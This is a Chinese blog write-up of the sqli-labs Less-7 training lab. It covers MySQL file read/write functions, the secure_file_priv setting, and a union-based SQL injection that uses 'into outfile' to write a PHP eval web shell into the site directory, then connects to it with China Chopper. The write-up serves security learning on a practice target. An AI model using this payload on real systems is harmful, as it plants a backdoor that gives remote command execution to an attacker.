0%

sqli-labs7

Mysql文件读写

涉及一个配置项secure_file_priv=

  • 文件读取函数:
    Load_file(‘文件路径’)
  • 写文件函数:
    into outfile
    into dumpfile
  • 两个函数区别:
    因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所以利用使用mysql写入dll或者二进制可执行文件,文件可能会被破坏。
    into dumpfile就能导出一个完整能执行的二进制文件。
    *
    条件:
    1、设置secure_file_priv为Null
    2、绝对路径
    3、文件不存在
    4、有权限
    尝试注入点,直到?id=1’))–+
    才出现不同的回显,提示使用outfile语句

    1、secure_file_priv这个参数主要用来限制数据的导入导出效果(load data, into outfile等)。
    如果这个参数值为NULL,那么mysql会禁止用户进行导入导出操作;
    如果这个参数是一个具体的目录名,那么数据的导入导出只能在该目录下进行;
    如果这个参数为空,那么导入导出的文件位置将不受限制。
    打开MySQL目录,在my-ini文件中把secure_file_priv改为空。
    2、datadir
    这个参数是MySql存放数据文件的目录,也是导入导出操作的相对路径。
    去第一关查询相对路径,

    注入一句话木马可以了解:https://blog.csdn.net/weixin_39190897/article/details/86772765
    接下来我们注入一句话木马到第七关的目录。
    into outfile函数(写文件)
    用法:select ‘写入内容’ into outfile ‘要保存的路径’
    ?id=-1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>"into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/text.php"--+
    成功注入,
    • 这里需要使用\ 因为\会被当作转义字符。
      也可以直接用/ **
      注入成功后,这边我们用中国菜刀进行连接。
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道